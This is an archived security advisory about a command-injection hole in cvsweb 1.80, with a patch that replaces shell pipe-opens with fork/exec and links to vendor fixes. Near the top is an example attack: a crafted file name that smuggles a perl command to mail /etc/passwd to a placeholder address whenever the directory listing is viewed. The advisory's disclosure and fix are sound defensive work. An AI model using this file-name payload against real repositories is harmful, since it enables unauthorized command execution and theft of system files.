TUCoPS :: Unix :: General :: cvsweb~1.txt


TUCoPS :: Unix :: General :: cvsweb~1.txt

CVSWeb 1.80 shell access hole

COMMAND
 cwsweb
SYSTEMS AFFECTED
 cwsweb 1.80
PROBLEM
 Joey Hess found following. Cvsweb 1.80 contains a hole that
 provides attackers who have write access to a cvs repository with
 shell access. Thus, attackers who have write access to a cvs
 repository but not shell access can obtain a shell. In addition,
 anyone with write access to a cvs repository that is viewable
 with cvsweb can get access to whatever user the cvsweb cgi script
 runs as (typically nobody or www-data, etc).
 An attack looks something like this:
 SHELLCODE="';perl -e '\$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:\x2F\x40:; system \$_';'"
 touch $SHELLCODE
 cvs add $SHELLCODE
 cvs commit -m '' $SHELLCODE
 Then the attacker either visits the cvsweb page that is a
 directory listing for the directory they put the trojan file in,
 or they wait for someone else to do the same. Views of this page
 cause the command to be executed, mailing /etc/passwd to the
 attacker or [insert something more nasty here].
 Of course, the attacker has left quite a trail: web server log
 entries and odd looking files in the cvs repository with the
 attacker's name on them.
 The code that is being exploited here is the following:
 open($fh, "rlog '$filenames' 2>/dev/null |")
 Cvsweb is littered with possibly exploitable pipe-opens like this
 one.
SOLUTION
 A patch for all of them follows. This is against cvsweb 1.80
 from
 http://stud.fh-heilbronn.de/~zeller/cgi/cvsweb.cgi/
 (version 1.86 has now been released, closing the hole):
 --- cvsweb.cgi 2000年05月24日 07:10:31 1.10
 +++ cvsweb.cgi 2000年07月07日 03:32:21
 @@ -1185,23 +1185,22 @@
 }
 if (defined($rev)) {
 - $revopt = "-r'$rev'";
 + $revopt = "-r$rev";
 }
 else {
 $revopt = "";
 }
 - # this may not be quoted with single quotes
 - # in windows .. but should in U*nx. there
 - # is a function which allows for quoting `evil`
 - # characters somewhere, I know (buried in the Perl-manpage)
 - ##
 ### just for the record:
 ### 'cvs co' seems to have a bug regarding single checkout of
 ### directories/files having spaces in it;
 ### this is an issue that should be resolved on cvs's side
 - open($fh, "cvs -d'$cvsroot' co -p $revopt '$where' 2>&1 |") ||
 - &fatal("500 Internal Error", "Couldn't co: $!");
 + #
 + # Safely fork a child process to read from.
 + if (! open($fh, "-|")) { # child
 + open(STDERR, ">&STDOUT"); # Redirect stderr to stdout
 + exec("cvs", "-d$cvsroot", "co", "-p", $revopt, $where);
 + }
 #===================================================================
 #Checking out squid/src/ftp.c
 #RCS: /usr/src/CVS/squid/src/ftp.c,v
 @@ -1298,7 +1297,7 @@
 sub doDiff {
 my($fullname, $r1, $tr1, $r2, $tr2, $f) = @_;
 my $fh = do {local(*FH);};
 - my ($rev1, $rev2, $sym1, $sym2, $difftype, $diffname, $f1, $f2);
 + my ($rev1, $rev2, $sym1, $sym2, @difftype, $diffname, $f1, $f2);
 if ($r1 =~ /([^:]+)(:(.+))?/) {
 $rev1 = 1ドル;
 @@ -1333,25 +1332,25 @@
 }
 my $human_readable = 0;
 if ($f eq 'c') {
 - $difftype = '-c';
 + @difftype = qw{-c};
 $diffname = "Context diff";
 }
 elsif ($f eq 's') {
 - $difftype = '--side-by-side --width=164';
 + @difftype = qw{--side-by-side --width=164};
 $diffname = "Side by Side";
 }
 elsif ($f eq 'H') {
 $human_readable = 1;
 - $difftype = '--unified=15';
 + @difftype = qw{--unified=15};
 $diffname = "Long Human readable";
 }
 elsif ($f eq 'h') {
 - $difftype = '-u';
 + @difftype =qw{-u};
 $human_readable = 1;
 $diffname = "Human readable";
 }
 elsif ($f eq 'u') {
 - $difftype = '-u';
 + @difftype = qw{-u};
 $diffname = "Unidiff";
 }
 else {
 @@ -1361,22 +1360,19 @@
 # apply special options
 if ($human_readable) {
 if ($hr_funout) {
 - $difftype = $difftype . ' -p';
 + push @difftype, '-p';
 }
 if ($hr_ignwhite) {
 - $difftype = $difftype . ' -w';
 + push @difftype, '-w';
 }
 if ($hr_ignkeysubst) {
 - $difftype = $difftype . ' -kk';
 + push @difftype, '-kk';
 }
 }
 -## cvs rdiff doesn't support '-p' and '-w' option .. sad
 -# open($fh, "cvs -d $cvsroot rdiff $difftype " .
 -# "-r$rev1 -r$rev2 '$where' 2>&1 |")
 -# || &fatal("500 Internal Error", "Couldn't cvs rdiff: $!");
 -###
 - open($fh, "rcsdiff $difftype -r$rev1 -r$rev2 '$fullname' 2>&1 |")
 - || &fatal("500 Internal Error", "Couldn't GNU rcsdiff: $!");
 + if (! open($fh, "-|")) { # child
 + open(STDERR, ">&STDOUT"); # Redirect stderr to stdout
 + exec("rcsdiff",@difftype,"-r$rev1","-r$rev2",$fullname);
 + }
 if ($human_readable) {
 http_header();
 &human_readable_diff($fh, $rev2);
 @@ -1402,7 +1398,7 @@
 #--- src/sys/netinet/tcp_output.c 1995年12月05日 17:46:35 1.17 RELENG_2_1_0
 # (bogus example, but...)
 #
 - if ($difftype eq '-u') {
 + if (grep { $_ eq '-u'} @difftype) {
 $f1 = '---';
 $f2 = '\+\+\+';
 }
 @@ -1455,15 +1451,19 @@
 return;
 }
 - my ($filenames) = join("' '",@files);
 if ($tag) {
 #can't use -r<tag> as - is allowed in tagnames, but misinterpreated by rlog..
 - open($fh, "rlog '$filenames' 2>/dev/null |")
 - || &fatal("500 Internal Error", "Failed to spawn GNU rlog");
 + if (! open($fh, "-|")) {
 + close(STDERR); # rlog may complain; ignore.
 + exec("rlog",@files);
 + }
 }
 else {
 - open($fh, "rlog -r '$filenames' 2>/dev/null |")
 - || &fatal("500 Internal Error", "Failed to spawn GNU rlog");
 + my $kidpid = open($fh, "-|");
 + if (! $kidpid) {
 + close(STDERR); # rlog may complain; ignore.
 + exec("rlog","-r",@files);
 + }
 }
 $state = "start";
 while (<$fh>) {
 @@ -1591,7 +1591,7 @@
 }
 if ($. == 0) {
 fatal("500 Internal Error",
 - "Failed to spawn GNU rlog on <em>'$filenames'</em><p>did you set the <b>\$ENV{PATH}</b> in your configuration file correctly ?");
 + "Failed to spawn GNU rlog on <em>'".join(", ", @files)."'</em><p>did you set the <b>\$ENV{PATH}</b> in your configuration file correctly ?");
 }
 close($fh);
 }
 @@ -1618,9 +1618,14 @@
 undef %log;
 print("Going to rlog '$fullname'\n") if ($verbose);
 - open($fh, "rlog $revision '$fullname'|")
 - || &fatal("500 Internal Error", "Failed to spawn rlog");
 -
 + if (! open($fh, "-|")) { # child
 + if ($revision ne '') {
 + exec("rlog",$revision,$fullname);
 + }
 + else {
 + exec("rlog",$fullname);
 + }
 + }
 while (<$fh>) {
 print if ($verbose);
 if ($symnames) {
 For Linux-Mandrake:
 7.1/RPMS/cvsweb-1.80-3mdk.noarch.rpm
 7.1/SRPMS/cvsweb-1.80-3mdk.src.rpm
 For Debian Linux:
 http://security.debian.org/dists/stable/updates/source/cvsweb_109.dsc
 http://security.debian.org/dists/stable/updates/source/cvsweb_109.tar.gz
 http://security.debian.org/dists/stable/updates/binary-all/cvsweb_109_all.deb
 http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79-3potato1.diff.gz
 http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79-3potato1.dsc
 http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79.orig.tar.gz
 http://http.us.debian.org/debian/dists/potato/main/binary-all/devel/cvsweb_1.79-3potato1.deb
 http://http.us.debian.org/debian/dists/woody/main/source/devel/cvsweb_1.86-1.diff.gz
 http://http.us.debian.org/debian/dists/woody/main/source/devel/cvsweb_1.86-1.dsc
 http://http.us.debian.org/debian/dists/woody/main/source/devel/cvsweb_1.86.orig.tar.gz
 http://http.us.debian.org/debian/dists/woody/main/binary-all/devel/cvsweb_1.86-1.deb
 For TurboLinux:
 ftp://ftp.turbolinux.com/pub/updates/6.0/security/cvsweb-1.91-3.noarch.rpm
 ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/cvsweb-1.91-3.src.rpm
 SuSE-Linux either does not contain these packages or the files
 therein causing the publically announced security vulnerabilities.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH

AltStyle によって変換されたページ (->オリジナル) /